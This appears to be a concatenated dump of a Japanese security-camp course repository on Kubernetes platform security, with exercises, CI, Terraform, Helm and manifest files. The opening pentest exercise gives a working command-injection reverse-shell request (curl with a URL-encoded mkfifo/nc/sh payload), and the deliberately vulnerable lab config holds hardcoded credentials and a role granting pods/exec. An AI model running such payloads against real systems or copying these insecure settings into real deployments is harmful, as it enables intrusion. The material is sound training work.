初期侵入のリクエスト 13 | 14 | `/api/admin/info` にOSコマンドインジェクションの脆弱性があります。 15 | 16 | ターミナルを2画面用意し、リバースシェルを使って侵入します。 17 | 18 | ```bash 19 | # ターミナル1 20 | nc -l 4444 21 | 22 | # ターミナル2 23 | curl "https://app.seccamp.com/api/admin/info?info=nohup%20mkfifo%20/tmp/f%3B%20nc%20$(hostname -I | awk '{print $1}')%204444%20%3C%20/tmp/f%20%7C%20/bin/sh%20%3E%20/tmp/f%202%3E%261%3B%20rm%20/tmp/f%20%26" 24 | ``` 25 | 26 |
27 | 28 | ## 課題2: Pirates を使用したペネトレーションテスト 29 | 30 | Kubernetesペネトレーションテストツール「Pirates」を使用して、Kubernetesクラスタとコンテナ化されたアプリケーションのセキュリティ評価を実践的に学習します。 31 | 32 | https://github.com/inguardians/peirates 33 | 34 | ### ステップ 35 | 1. Pirates をインストールし、利用可能なコマンドを検証してみてください 36 | -------------------------------------------------------------------------------- /app/backend/.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | stages: 2 | - build 3 | 4 | variables: 5 | HARBOR_REGISTRY: harbor.seccamp.com 6 | HARBOR_PROJECT: seccamp2025 7 | IMAGE_NAME: $HARBOR_REGISTRY/$HARBOR_PROJECT/seccamp-backend 8 | DOCKER_CONFIG: /kaniko/.docker/ 9 | 10 | before_script: 11 | - mkdir -p /kaniko/.docker 12 | - | 13 | echo "{ \"auths\": { \"${HARBOR_REGISTRY}\": { \"auth\": \"$(echo -n ${HARBOR_USER}:${HARBOR_PASSWORD} | base64)\" } } }" > /kaniko/.docker/config.json 14 | 15 | build-image: 16 | stage: build 17 | image: 18 | name: gcr.io/kaniko-project/executor:debug 19 | script: 20 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_SHORT_SHA --skip-tls-verify --ignore-path /product_uuid 21 | only: 22 | - main 23 | 24 | build-image-tag: 25 | stage: build 26 | image: 27 | name: gcr.io/kaniko-project/executor:debug 28 | script: 29 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_REF_NAME --skip-tls-verify --ignore-path /product_uuid 30 | only: 31 | - tags 32 | -------------------------------------------------------------------------------- /app/frontend/.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | stages: 2 | - build 3 | 4 | variables: 5 | HARBOR_REGISTRY: harbor.seccamp.com 6 | HARBOR_PROJECT: seccamp2025 7 | IMAGE_NAME: $HARBOR_REGISTRY/$HARBOR_PROJECT/seccamp-frontend 8 | DOCKER_CONFIG: /kaniko/.docker/ 9 | 10 | before_script: 11 | - mkdir -p /kaniko/.docker 12 | - | 13 | echo "{ \"auths\": { \"${HARBOR_REGISTRY}\": { \"auth\": \"$(echo -n ${HARBOR_USER}:${HARBOR_PASSWORD} | base64)\" } } }" > /kaniko/.docker/config.json 14 | 15 | build-image: 16 | stage: build 17 | image: 18 | name: gcr.io/kaniko-project/executor:debug 19 | script: 20 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_SHORT_SHA --skip-tls-verify --ignore-path /product_uuid 21 | only: 22 | - main 23 | 24 | build-image-tag: 25 | stage: build 26 | image: 27 | name: gcr.io/kaniko-project/executor:debug 28 | script: 29 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_REF_NAME --skip-tls-verify --ignore-path /product_uuid 30 | only: 31 | - tags 32 | -------------------------------------------------------------------------------- /04_hardening/trainings/ransomware.md: -------------------------------------------------------------------------------- 1 | # ランサムウェア対策 2 | 3 | ## 課題1: ランサムウェア脅威の分析 4 | 5 | 効果的な対策を講じるためには、まずランサムウェア攻撃の手法とKubernetes環境特有のリスクを理解する必要があります。 6 | 7 | ### ステップ 8 | 1. Kubernetes環境におけるランサムウェア攻撃の典型的なシナリオを調査してください 9 | - コンテナイメージを介した侵入 10 | - 永続ボリュームの暗号化 11 | - etcdデータストアへの攻撃 12 | 2. 現在の環境でのリスク評価を実施してください 13 | - 攻撃対象となりうるアセットの特定 14 | - 現在の対策状況の評価 15 | 3. ランサムウェア攻撃の影響を評価してください 16 | - ビジネス継続性への影響 17 | - データ損失のリスク 18 | - 復旧にかかる時間とコスト 19 | 20 | ## 課題2: 予防的セキュリティ対策の実装 21 | 22 | ランサムウェア攻撃を受ける前に、攻撃を困難にする予防的な対策を多層的に実装する必要があります。 23 | 24 | ※ 具体的な実装は個別の演習課題で取り扱います。 25 | 26 | ### ステップ 27 | 1. コンテナイメージのセキュリティ強化を実装してください 28 | - 演習: [イメージセキュリティ](./image_security.md) 29 | 2. ランタイムセキュリティ対策を強化してください 30 | - 演習: [ランタイムセキュリティ](./runtime_security.md) 31 | 3. ネットワークセキュリティを強化してください 32 | - 演習: [ネットワークポリシー](./networkpolicy.md) 33 | 34 | ## 課題3: データ保護とバックアップ戦略 35 | 36 | ランサムウェア攻撃からの確実な復旧を可能にするため、堅牢なデータ保護とバックアップシステムが必要です。 37 | 38 | ### ステップ 39 | 1. バックアップ取得の実装方法を調査してください 40 | - データの3つのコピー保持 41 | - 2つの異なる媒体への保存 42 | - 1つのオフサイトまたはエアギャップ保存 43 | 2. バックアップ取得の際に考慮すべきポイントを考えてみてください 44 | - バックアップの保存場所 45 | - バックアップの暗号化 46 | - 復元テストの実施 47 | - etc... 48 | 3. OSSを活用したバックアップ取得を実装してください 49 | -------------------------------------------------------------------------------- /00_setup/aws/ec2.tf: -------------------------------------------------------------------------------- 1 | module "ec2" { 2 | source = "terraform-aws-modules/ec2-instance/aws" 3 | version = "~> 6.0.2" 4 | 5 | for_each = var.instances 6 | 7 | name = "${var.instance_name}-${var.env}-${each.key}" 8 | ami = var.ami 9 | 10 | instance_type = each.value.instance_type 11 | availability_zone = element(module.vpc.azs, 0) 12 | subnet_id = element(module.vpc.public_subnets, 0) 13 | vpc_security_group_ids = [module.security_group.security_group_id] 14 | iam_instance_profile = aws_iam_instance_profile.ssm_role.name 15 | user_data = var.user_data 16 | enable_volume_tags = false 17 | 18 | metadata_options = { 19 | http_tokens = "required" 20 | } 21 | 22 | root_block_device = { 23 | encrypted = true 24 | type = "gp3" 25 | # throughput = 100 26 | size = each.value.volume_size 27 | tags = local.tags 28 | } 29 | 30 | tags = local.tags 31 | } 32 | 33 | module "security_group" { 34 | source = "terraform-aws-modules/security-group/aws" 35 | version = "~> 4.0" 36 | 37 | name = "seccamp-${var.env}" 38 | vpc_id = module.vpc.vpc_id 39 | 40 | egress_rules = ["all-all"] 41 | 42 | tags = local.tags 43 | } 44 | -------------------------------------------------------------------------------- /00_setup/scripts/kind-load-certfile.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # https://text.superbrothers.dev/200313-kind-load-certfiles/ 4 | set -e -o pipefail; [[ -n "$DEBUG" ]] && set -x 5 | 6 | CERT_DIR="${CERT_DIR:-"/usr/local/share/ca-certificates"}" 7 | 8 | function usage() { 9 | echo "Usage: $(basename "$0") [-n name] certflie ..." >&2 10 | } 11 | 12 | while getopts n: OPT; do 13 | case $OPT in 14 | n) name="$OPTARG" 15 | ;; 16 | *) usage 17 | exit 1 18 | ;; 19 | esac 20 | done 21 | shift "$((OPTIND - 1))" 22 | 23 | name="${name:-"kind"}" 24 | 25 | if [[ $# -eq 0 ]]; then 26 | usage 27 | exit 1 28 | fi 29 | 30 | containers="$(kind get nodes --name="$name" 2>/dev/null)" 31 | if [[ "$containers" == "" ]]; then 32 | echo "No kind nodes found for cluster \"$name\"" >&2 33 | exit 1 34 | fi 35 | 36 | for container in $containers; do 37 | for certfile in "$@"; do 38 | echo "Copying ${certfile} to ${container}:${CERT_DIR}" 39 | docker cp "$certfile" "${container}:${CERT_DIR}" 40 | done 41 | 42 | echo "Updating CA certificates in ${container}..." 43 | docker exec "$container" update-ca-certificates 44 | 45 | echo "Restarting containerd" 46 | docker exec "$container" systemctl restart containerd 47 | done 48 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/cilium.values.yaml: -------------------------------------------------------------------------------- 1 | # https://docs.cilium.io/en/stable/network/kubernetes/kubeproxy-free/#kubernetes-without-kube-proxy 2 | kubeProxyReplacement: true 3 | k8sServiceHost: kind-control-plane 4 | k8sServicePort: 6443 5 | rollOutCiliumPods: true 6 | # https://docs.cilium.io/en/latest/observability/visibility/#layer-7-protocol-visibility 7 | # endpointStatus: 8 | # enabled: true 9 | # status: policy 10 | gatewayAPI: 11 | enabled: false 12 | ingressController: 13 | enabled: false 14 | operator: 15 | # ensure pods roll when configmap updates 16 | rollOutPods: true 17 | prometheus: 18 | enabled: true 19 | prometheus: 20 | enabled: true 21 | hubble: 22 | enabled: true 23 | relay: 24 | enabled: true 25 | ui: 26 | enabled: true 27 | # Visualization of l7 protocols 28 | podAnnotations: 29 | policy.cilium.io/proxy-visibility: "" 30 | metrics: 31 | enableOpenMetrics: true 32 | enabled: 33 | - dns 34 | - drop 35 | - tcp 36 | - flow 37 | - port-distribution 38 | - icmp 39 | - httpV2:exemplars=true;labelsContext=source_ip,source_namespace,source_workload,destination_ip,destination_namespace,destination_workload,traffic_direction 40 | socketLB: 41 | hostNamespaceOnly: true 42 | cni: 43 | exclusive: false 44 | -------------------------------------------------------------------------------- /00_setup/aws/environments/prd/main.tf: -------------------------------------------------------------------------------- 1 | module "ec2" { 2 | source = "../../" 3 | 4 | instance_name = "seccamp2025-b4" 5 | env = "prd" 6 | region = "ap-northeast-1" 7 | # aws ssm get-parameters --names /aws/service/canonical/ubuntu/server/22.04/stable/current/amd64/hvm/ebs-gp2/ami-id --region ap-northeast-1 --query "Parameters[0].Value" 8 | ami = "ami-0c48fa60af31d0d5b" 9 | user_data = file("${path.module}/userdata-slim.bash") 10 | 11 | instances = { 12 | "00" = { 13 | instance_type = "m5.2xlarge" 14 | volume_size = 100 15 | } 16 | "01" = { 17 | instance_type = "m5.2xlarge" 18 | volume_size = 100 19 | } 20 | # "02" = { 21 | # instance_type = "m5.2xlarge" 22 | # volume_size = 100 23 | # } 24 | # "03" = { 25 | # instance_type = "m5.2xlarge" 26 | # volume_size = 100 27 | # } 28 | # "04" = { 29 | # instance_type = "m5.2xlarge" 30 | # volume_size = 100 31 | # } 32 | # "05" = { 33 | # instance_type = "m5.2xlarge" 34 | # volume_size = 100 35 | # } 36 | # "06" = { 37 | # instance_type = "m5.2xlarge" 38 | # volume_size = 100 39 | # } 40 | # "07" = { 41 | # instance_type = "m5.2xlarge" 42 | # volume_size = 100 43 | # } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/vault.values.yaml: -------------------------------------------------------------------------------- 1 | global: 2 | enabled: true 3 | tlsDisable: true 4 | 5 | injector: 6 | enabled: true 7 | resources: 8 | requests: 9 | memory: "256Mi" 10 | cpu: "250m" 11 | limits: 12 | memory: "512Mi" 13 | cpu: "500m" 14 | 15 | server: 16 | # 開発モードで起動 17 | dev: 18 | enabled: true 19 | devRootToken: "root" 20 | 21 | ha: 22 | enabled: false 23 | 24 | dataStorage: 25 | enabled: true 26 | size: 10Gi 27 | storageClass: null 28 | accessMode: ReadWriteOnce 29 | 30 | resources: 31 | requests: 32 | memory: "256Mi" 33 | cpu: "250m" 34 | limits: 35 | memory: "1Gi" 36 | cpu: "500m" 37 | 38 | service: 39 | enabled: true 40 | type: ClusterIP 41 | port: 8200 42 | targetPort: 8200 43 | 44 | ingress: 45 | enabled: true 46 | annotations: 47 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 48 | cert-manager.io/cluster-issuer: "root-ca-issuer" 49 | ingressClassName: nginx 50 | hosts: 51 | - host: vault.seccamp.com 52 | paths: 53 | - / 54 | tls: 55 | - secretName: vault-tls 56 | hosts: 57 | - vault.seccamp.com 58 | 59 | ui: 60 | enabled: true 61 | serviceType: ClusterIP 62 | serviceNodePort: null 63 | externalPort: 8200 64 | -------------------------------------------------------------------------------- /app/infra/manifests/ingress.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: networking.k8s.io/v1 2 | kind: Ingress 3 | metadata: 4 | name: app-frontend-ingress 5 | namespace: seccamp-app 6 | annotations: 7 | cert-manager.io/cluster-issuer: root-ca-issuer 8 | ingress.kubernetes.io/ssl-redirect: "true" 9 | spec: 10 | ingressClassName: nginx 11 | rules: 12 | - host: app.seccamp.com 13 | http: 14 | paths: 15 | - backend: 16 | service: 17 | name: frontend 18 | port: 19 | number: 80 20 | path: / 21 | pathType: Prefix 22 | tls: 23 | - hosts: 24 | - app.seccamp.com 25 | secretName: app-seccamp-com-tls 26 | --- 27 | apiVersion: networking.k8s.io/v1 28 | kind: Ingress 29 | metadata: 30 | name: app-backend-ingress 31 | namespace: seccamp-app 32 | annotations: 33 | cert-manager.io/cluster-issuer: root-ca-issuer 34 | ingress.kubernetes.io/ssl-redirect: "true" 35 | nginx.ingress.kubernetes.io/rewrite-target: /$1 36 | spec: 37 | ingressClassName: nginx 38 | rules: 39 | - host: app.seccamp.com 40 | http: 41 | paths: 42 | - backend: 43 | service: 44 | name: backend 45 | port: 46 | number: 8000 47 | path: /api/(.*) 48 | pathType: Prefix 49 | tls: 50 | - hosts: 51 | - app.seccamp.com 52 | secretName: app-seccamp-com-tls 53 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Local working directories 2 | .local/ 3 | 4 | # Local .terraform directories 5 | .terraform/ 6 | 7 | # .tfstate files 8 | *.tfstate 9 | *.tfstate.* 10 | 11 | # .terraform.lock files 12 | .terraform.lock.hcl 13 | 14 | # Crash log files 15 | crash.log 16 | crash.*.log 17 | 18 | # Exclude all .tfvars files, which are likely to contain sensitive data, such as 19 | # password, private keys, and other secrets. These should not be part of version 20 | # control as they are data points which are potentially sensitive and subject 21 | # to change depending on the environment. 22 | *.tfvars 23 | *.tfvars.json 24 | 25 | # Ignore override files as they are usually used to override resources locally and so 26 | # are not checked in 27 | override.tf 28 | override.tf.json 29 | *_override.tf 30 | *_override.tf.json 31 | 32 | # Ignore transient lock info files created by terraform apply 33 | .terraform.tfstate.lock.info 34 | 35 | # Include override files you do wish to add to version control using negated pattern 36 | # !example_override.tf 37 | 38 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 39 | # example: *tfplan* 40 | 41 | # Ignore CLI configuration files 42 | .terraformrc 43 | terraform.rc 44 | 45 | # Application 46 | app/frontend/node_modules/ 47 | app/backend/backend 48 | app/frontend/*.tsbuildinfo 49 | 50 | 51 | # Others 52 | .DS_Store 53 | *.log 54 | *.cache 55 | *.db 56 | .env 57 | -------------------------------------------------------------------------------- /04_hardening/training.md: -------------------------------------------------------------------------------- 1 | # 演習4 セキュリティ対策の導入 2 | 3 | 以下の演習課題の中から選ぶか、3章で検討したセキュリティ対策を実施してみましょう。 4 | 5 | ## 演習課題一覧 6 | 7 | 1. **[アドミッションコントロール](./trainings/admission_control.md)**: 難易度⭐︎⭐︎ 8 | - Pod Security Admission(PSA)の設定 9 | - Validating Admission Policyの実装 10 | 11 | 2. **[ネットワークポリシー](./trainings/networkpolicy.md)**: 難易度⭐︎ 12 | - 基本的なNetwork Policyの実装 13 | - Cilium Network Policyの活用 14 | 15 | 3. **[イメージセキュリティ](./trainings/image_security.md)**: 難易度⭐︎ 16 | - コンテナイメージの脆弱性調査と修正 17 | - Distrolessイメージへの移行 18 | - CIでの自動脆弱性スキャン 19 | - イメージ署名と検証の実装 20 | - 実行環境のイメージ脆弱性管理 21 | 22 | 4. **[シークレット管理](./trainings/secret_management.md)**: 難易度⭐︎⭐︎⭐︎⭐︎ 23 | - HashiCorp Vaultの導入 24 | - External Secrets Operatorの導入 25 | 26 | 5. **[認証・認可](./trainings/auth.md)**: 難易度⭐︎⭐︎⭐︎⭐︎ 27 | - OIDC 認証の実装 28 | - 細やかなRBAC設計 29 | 30 | 6. **[ランタイムセキュリティ](./trainings/runtime_security.md)**: 難易度⭐︎⭐︎⭐︎ 31 | - Tetragonによるプロセス監視 32 | - 監査ログの設定とアラート 33 | - コンテナランタイムセキュリティ 34 | 35 | 7. **[Kubernetesセキュリティポスチャー管理(KSPM)](./trainings/kspm.md)**: 難易度⭐︎ 36 | - 現在のセキュリティポスチャーの評価 37 | - 高優先度のセキュリティ問題の修正 38 | - 継続的なコンプライアンス監視の検討 39 | 40 | 8. **[インシデント対応](./trainings/incident_response.md)**: 難易度⭐︎⭐︎⭐︎ 41 | - 不審なPodの発見と初期対応、再発防止策の検討 42 | 43 | 9. **[ランサムウェア対策](./trainings/ransomware.md)**: 難易度⭐︎⭐︎ 44 | - ランサムウェア脅威の分析 45 | - 予防的セキュリティ対策の実装 46 | - データ保護とバックアップ戦略 47 | 48 | 10. **[ペネトレーションテスト](./trainings/pentest.md)**: 難易度⭐︎⭐︎ 49 | - シナリオに沿った攻撃演習 50 | - Pirates の検証 51 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/external-secrets.values.yaml: -------------------------------------------------------------------------------- 1 | installCRDs: true 2 | 3 | replicaCount: 1 4 | 5 | image: 6 | repository: ghcr.io/external-secrets/external-secrets 7 | pullPolicy: IfNotPresent 8 | # tag: latest 9 | 10 | resources: 11 | limits: 12 | cpu: 100m 13 | memory: 128Mi 14 | requests: 15 | cpu: 10m 16 | memory: 64Mi 17 | 18 | securityContext: 19 | allowPrivilegeEscalation: false 20 | readOnlyRootFilesystem: true 21 | runAsNonRoot: true 22 | runAsUser: 65534 23 | capabilities: 24 | drop: 25 | - ALL 26 | 27 | podSecurityContext: 28 | runAsNonRoot: true 29 | runAsUser: 65534 30 | fsGroup: 65534 31 | 32 | serviceAccount: 33 | create: true 34 | annotations: {} 35 | name: "" 36 | 37 | webhook: 38 | create: true 39 | certCheckInterval: "5m" 40 | certDir: /tmp/k8s-webhook-server/serving-certs 41 | image: 42 | repository: ghcr.io/external-secrets/external-secrets 43 | pullPolicy: IfNotPresent 44 | 45 | resources: 46 | limits: 47 | cpu: 100m 48 | memory: 128Mi 49 | requests: 50 | cpu: 10m 51 | memory: 64Mi 52 | 53 | certController: 54 | create: true 55 | requeueInterval: "5m" 56 | image: 57 | repository: ghcr.io/external-secrets/external-secrets 58 | pullPolicy: IfNotPresent 59 | 60 | resources: 61 | limits: 62 | cpu: 100m 63 | memory: 128Mi 64 | requests: 65 | cpu: 10m 66 | memory: 64Mi 67 | 68 | metrics: 69 | listen: 70 | port: 8080 71 | 72 | logLevel: info 73 | 74 | concurrent: 1 75 | -------------------------------------------------------------------------------- /app/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | services: 3 | db: 4 | image: mariadb:11.3 5 | # image: cgr.dev/chainguard/mariadb:latest 6 | container_name: seccamp-db 7 | environment: 8 | MYSQL_ROOT_PASSWORD: password 9 | MYSQL_DATABASE: seccamp2025 10 | MYSQL_USER: rootuser 11 | MYSQL_PASSWORD: password 12 | ports: 13 | - "3306:3306" 14 | volumes: 15 | - ./db/init-english.sql:/docker-entrypoint-initdb.d/init.sql 16 | # - ./db/init.sql:/docker-entrypoint-initdb.d/init.sql 17 | restart: unless-stopped 18 | 19 | backend: 20 | build: 21 | context: ./backend 22 | dockerfile: Dockerfile.dev 23 | container_name: seccamp-backend 24 | environment: 25 | DB_HOST: db 26 | DB_PORT: 3306 27 | DB_USER: rootuser 28 | DB_PASSWORD: password 29 | DB_NAME: seccamp2025 30 | ports: 31 | - "8000:8000" 32 | depends_on: 33 | - db 34 | command: ["/bin/sh", "-c", "chmod +x ./wait-for-it.sh && ./wait-for-it.sh db:3306 -- ./backend"] 35 | restart: unless-stopped 36 | 37 | frontend: 38 | build: 39 | context: ./frontend 40 | dockerfile: Dockerfile.dev 41 | container_name: seccamp-frontend 42 | ports: 43 | - "3000:3000" 44 | volumes: 45 | - ./frontend:/app 46 | - /app/node_modules 47 | working_dir: /app 48 | command: ["npm", "start"] 49 | depends_on: 50 | - backend 51 | environment: 52 | - REACT_APP_API_URL=http://localhost:8000 53 | restart: unless-stopped 54 | -------------------------------------------------------------------------------- /04_hardening/trainings/runtime_security.md: -------------------------------------------------------------------------------- 1 | # ランタイムセキュリティ 2 | 3 | ## 課題1: Tetragonによるプロセス監視と制限 4 | 5 | コンテナ内での不正なプロセス実行や権限昇格攻撃を検出するため、eBPFベースのランタイム監視と制限を実装します。 6 | 7 | 参考: [seccamp2024-B6 - コンテナプロセスの監視と強制 (Tetragon)](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch04_hardening_k8s/training.md#%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E3%81%AE%E7%9B%A3%E8%A6%96%E3%81%A8%E5%BC%B7%E5%88%B6-tetragon) 8 | 9 | ### ステップ 10 | 1. 以下のポリシーを作成してください 11 | - 予期しないシェル(bash、sh)の実行 12 | - 権限昇格の試行(sudo、su コマンド) 13 | - 想定していない外部通信の禁止 14 | - システムファイルへの書き込み試行 15 | 2. **[発展]** Tetragonのアラートをログ収集システムに統合してください 16 | 17 | ## 課題2: 監査ログの設定とアラート 18 | 19 | Kubernetes APIサーバーの監査ログから不審な活動を検出し、迅速な対応を可能にするアラートシステムが必要です。 20 | 21 | 参考: [seccamp2024-B6 - 監査ログの確認](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch04_hardening_k8s/training.md#%E7%9B%A3%E6%9F%BB%E3%83%AD%E3%82%B0%E3%81%AE%E7%A2%BA%E8%AA%8D) 22 | 23 | ### ステップ 24 | 1. Kubernetes監査ログが有効になっており、Grafana上で可視化されていることを確認してください 25 | 2. 以下のイベントを検出するログアラートを設定してください 26 | - 権限のないリソースへのアクセス試行 27 | - シークレットやConfigMapへの不正アクセス 28 | - クラスタレベルの権限変更 29 | 3. **[発展]** 偽陽性を減らすためのフィルタリングルールを検討してください 30 | 4. **[発展]** khi (https://github.com/GoogleCloudPlatform/khi) でログの可視化を試してみましょう 31 | 32 | ## 課題3: コンテナランタイムセキュリティ 33 | 34 | 参考: [seccamp2024-B6 - seccomp の設定](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch04_hardening_k8s/training.md#seccomp-%E3%81%AE%E8%A8%AD%E5%AE%9A) 35 | 36 | ### ステップ 37 | 1. seccompプロファイルを活用してシステムコールを制限してください 38 | 2. **[発展]** ルートレスコンテナの導入を検討してください 39 | 3. **[発展]** コンテナランタイム(containerd)のセキュリティ設定を強化してください 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kubernetesで学ぶクラウドネイティブ時代のプラットフォームセキュリティ 2 | 3 | [セキュリティ・キャンプ2025 全国大会](https://www.ipa.go.jp/jinzai/security-camp/2025/camp/zenkoku/index.html) B4の講義資料です。 4 | 5 | ※ 内容は今後アップデートされる可能性があります。 6 | 7 | ## 概要 8 | 9 | 現代のソフトウェア開発は、クラウドネイティブなアプローチへと急速に移行しています。コンテナ化やマイクロサービス、Kubernetesなどのオーケストレーション技術の採用により、開発速度とスケーラビリティは劇的に向上しました。しかし一方で、新たなセキュリティリスクへの対応も不可欠となります。本講義では、プラットフォーム提供者の視点に立ち、Kubernetesにおける安全なプラットフォームの構築・運用を実践的に学びます。 10 | 11 | 受講生は、実際にKubernetesクラスタに触れながら、ハンズオン形式でセキュリティ対策を実装します。潜在的な脅威と対策への理解を深め、開発ライフサイクル全体を意識した適切なセキュリティ対策を選定・実装する能力を養います。 12 | 13 | ## 対象者・前提知識 14 | 15 | - Linuxの基本的なコマンド操作ができる方 16 | - Dockerの基本概念を理解している方 17 | - Kubernetesの基本的な概念(Pod、Service、Deploymentなど)を知っている方 18 | - クラウドネイティブ環境のセキュリティに興味がある方 19 | 20 | ## 学習目標 21 | 22 | 受講生は本講義を通じて以下を習得します。 23 | 24 | - クラウドネイティブおよびコンテナ、Kubernetesセキュリティの基本概念 25 | - プラットフォーム全体を保護するためのセキュリティの観点 26 | - OSSを活用したセキュリティ対策の実践 27 | 28 | ## 章構成 29 | 30 | ### [1章 シナリオ説明](./01_scenario) 31 | 講義全体のシナリオ設定と学習の流れを説明します。架空の企業におけるプラットフォームのセキュリティ対策という、現実的な設定で学習を進めます。 32 | 33 | ### [2章 クラウドネイティブセキュリティの基礎](./02_cloud_native_sec) 34 | コンテナとKubernetesにおけるセキュリティの基本概念、クラウドネイティブセキュリティのフレームワークを学習します。 35 | 36 | ### [3章 セキュリティアセスメント](./03_security_assessment) 37 | 基本的なセキュリティの観点や脅威モデリングなどの手法を通じて、プラットフォームのセキュリティアセスメントについて学習します。 38 | 39 | ### [4章 セキュリティ対策の導入](./04_hardening) 40 | 演習環境で具体的なセキュリティ対策ツールの導入と設定を行います。 41 | 42 | ## 環境セットアップ 43 | 44 | [セットアップ手順](./00_setup/README.md) を参照してください。 45 | 46 | ## 注意事項 47 | 48 | - この講義資料は教育目的で作成されています 49 | - 演習環境は講義用に簡略化されています。実際の本番環境での運用時は、各組織のセキュリティポリシーに従って適切に調整してください 50 | 51 | --- 52 | 53 | ## License 54 | 55 | Apache License Version 2.0 56 | -------------------------------------------------------------------------------- /app/infra/manifests/backend-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: backend 5 | namespace: seccamp-app 6 | spec: 7 | replicas: 1 8 | selector: 9 | matchLabels: 10 | app: backend 11 | template: 12 | metadata: 13 | labels: 14 | app: backend 15 | spec: 16 | serviceAccountName: backend-sa 17 | containers: 18 | - name: backend 19 | image: harbor.seccamp.com/seccamp2025/seccamp-backend:v1.0 20 | imagePullPolicy: Always 21 | ports: 22 | - containerPort: 8000 23 | env: 24 | - name: DB_HOST 25 | value: "db" 26 | - name: DB_PORT 27 | value: "3306" 28 | - name: DB_USER 29 | value: "root" 30 | - name: DB_PASSWORD 31 | value: "password" 32 | - name: DB_NAME 33 | value: "seccamp2025" 34 | imagePullSecrets: 35 | - name: harbor-cred 36 | --- 37 | apiVersion: v1 38 | kind: ServiceAccount 39 | metadata: 40 | name: backend-sa 41 | namespace: seccamp-app 42 | --- 43 | apiVersion: rbac.authorization.k8s.io/v1 44 | kind: Role 45 | metadata: 46 | name: backend-role 47 | namespace: seccamp-app 48 | rules: 49 | - apiGroups: [""] 50 | resources: ["pods"] 51 | verbs: ["create", "list", "get"] 52 | - apiGroups: [""] 53 | resources: ["pods/exec"] 54 | verbs: ["create"] 55 | --- 56 | apiVersion: rbac.authorization.k8s.io/v1 57 | kind: RoleBinding 58 | metadata: 59 | name: backend-rolebinding 60 | namespace: seccamp-app 61 | subjects: 62 | - kind: ServiceAccount 63 | name: backend-sa 64 | namespace: seccamp-app 65 | roleRef: 66 | kind: Role 67 | name: backend-role 68 | apiGroup: rbac.authorization.k8s.io 69 | -------------------------------------------------------------------------------- /app/backend/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/kyohmizu/seccamp2025-B4/app/backend 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.24.5 6 | 7 | require github.com/gin-gonic/gin v1.10.1 8 | 9 | require ( 10 | filippo.io/edwards25519 v1.1.0 // indirect 11 | github.com/bytedance/sonic v1.13.3 // indirect 12 | github.com/bytedance/sonic/loader v0.2.4 // indirect 13 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect 14 | github.com/cloudwego/base64x v0.1.5 // indirect 15 | github.com/gabriel-vasile/mimetype v1.4.9 // indirect 16 | github.com/gin-contrib/cors v1.7.6 // indirect 17 | github.com/gin-contrib/sse v1.1.0 // indirect 18 | github.com/go-playground/locales v0.14.1 // indirect 19 | github.com/go-playground/universal-translator v0.18.1 // indirect 20 | github.com/go-playground/validator/v10 v10.26.0 // indirect 21 | github.com/go-sql-driver/mysql v1.9.3 // indirect 22 | github.com/goccy/go-json v0.10.5 // indirect 23 | github.com/json-iterator/go v1.1.12 // indirect 24 | github.com/klauspost/cpuid/v2 v2.2.10 // indirect 25 | github.com/leodido/go-urn v1.4.0 // indirect 26 | github.com/mattn/go-isatty v0.0.20 // indirect 27 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 28 | github.com/modern-go/reflect2 v1.0.2 // indirect 29 | github.com/pelletier/go-toml/v2 v2.2.4 // indirect 30 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 31 | github.com/ugorji/go/codec v1.3.0 // indirect 32 | golang.org/x/arch v0.18.0 // indirect 33 | golang.org/x/crypto v0.39.0 // indirect 34 | golang.org/x/net v0.41.0 // indirect 35 | golang.org/x/sys v0.33.0 // indirect 36 | golang.org/x/text v0.26.0 // indirect 37 | google.golang.org/protobuf v1.36.6 // indirect 38 | gopkg.in/yaml.v3 v3.0.1 // indirect 39 | ) 40 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/keycloak.values.yaml: -------------------------------------------------------------------------------- 1 | # https://github.com/bitnami/charts/blob/main/bitnami/keycloak/values.yaml 2 | 3 | replicaCount: 1 4 | service: 5 | type: ClusterIP 6 | port: 8080 7 | httpsPort: 8443 8 | postgresql: 9 | enabled: true 10 | auth: 11 | postgresPassword: keycloak 12 | password: keycloak 13 | username: keycloak 14 | database: keycloak 15 | extraEnvVars: 16 | - name: KEYCLOAK_ADMIN 17 | value: admin 18 | - name: KEYCLOAK_ADMIN_PASSWORD 19 | value: admin 20 | - name: KC_HOSTNAME 21 | value: keycloak.seccamp.com 22 | # - name: KC_HTTPS_PORT 23 | # value: "8443" 24 | # - name: KC_HOSTNAME_URL 25 | # value: https://keycloak.seccamp.com 26 | - name: 